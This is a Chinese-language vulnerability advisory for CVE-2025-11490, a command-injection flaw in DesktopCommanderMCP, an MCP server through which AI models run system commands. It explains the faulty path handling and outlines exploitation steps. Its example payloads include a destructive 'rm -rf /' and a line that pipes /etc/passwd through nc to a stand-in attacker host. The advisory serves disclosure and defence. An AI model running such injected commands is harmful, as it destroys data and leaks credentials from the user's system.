CVE-2025-11490CVE-2025-11490是wonderwhy-er DesktopCommanderMCP(一个MCP服务器工具,允许AI模型执行系统命令)中的一个操作系统命令注入漏洞。该漏洞存在于DesktopCommanderMCP 0.2.13及以下版本中,具体位于src/command-manager.ts文件的extractBaseCommand函数,属于Absolute Path Handler(绝对路径处理器)组件。
该漏洞允许攻击者通过构造特殊的绝对路径输入来注入恶意操作系统命令。由于DesktopCommanderMCP的核心功能是让AI模型能够执行系统命令以完成用户请求,因此命令注入漏洞直接威胁到系统的安全性。攻击者可以利用此漏洞在目标系统上执行任意命令,可能导致数据泄露、系统破坏或权限提升。
该漏洞的CVSS评分为6.3,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。对机密性、完整性和可用性均存在低程度影响。该漏洞已被公开披露,PoC已可用,增加了被利用的风险。
值得注意的是,供应商对该漏洞的回应较为消极,认为该漏洞在常规使用场景下不太可能被触发,因为AI模型通常使用简单的命令名称而非绝对路径。但安全研究人员认为该漏洞仍然构成安全风险,尤其是在用户被诱导使用恶意路径的情况下。
该漏洞的核心位于DesktopCommanderMCP项目的src/command-manager.ts文件中的extractBaseCommand函数。该函数负责从用户提供的绝对路径中提取基本命令名称,用于后续的命令执行流程。
漏洞原理:
extractBaseCommand函数在处理绝对路径时,未对路径字符串进行充分的过滤和验证。攻击者可以构造包含shell元字符(如分号、管道符、反引号、$()等)的恶意路径,例如:
- `/bin/ls; rm -rf /`
- `/bin/cat /etc/passwd | nc attacker.com 1234`
- `/bin/echo $(malicious_command)`
当DesktopCommanderMCP的Absolute Path Handler组件接收到这些恶意路径时,extractBaseCommand函数提取出基本命令名称后,路径中的恶意部分会被传递给底层shell执行,从而导致命令注入。
利用方式:
1. 攻击者通过MCP协议向DesktopCommanderMCP发送包含恶意绝对路径的请求
2. 请求被路由到Absolute Path Handler组件
3. extractBaseCommand函数处理路径时未正确过滤shell元字符
4. 恶意命令随合法命令一起在系统shell中执行
5. 攻击者获得在目标系统上执行任意命令的能力
由于该漏洞需要低权限认证(PR:L),攻击者需要拥有DesktopCommanderMCP的基本访问权限才能发起攻击。但一旦获得访问权限,攻击复杂度低且无需用户交互即可完成利用。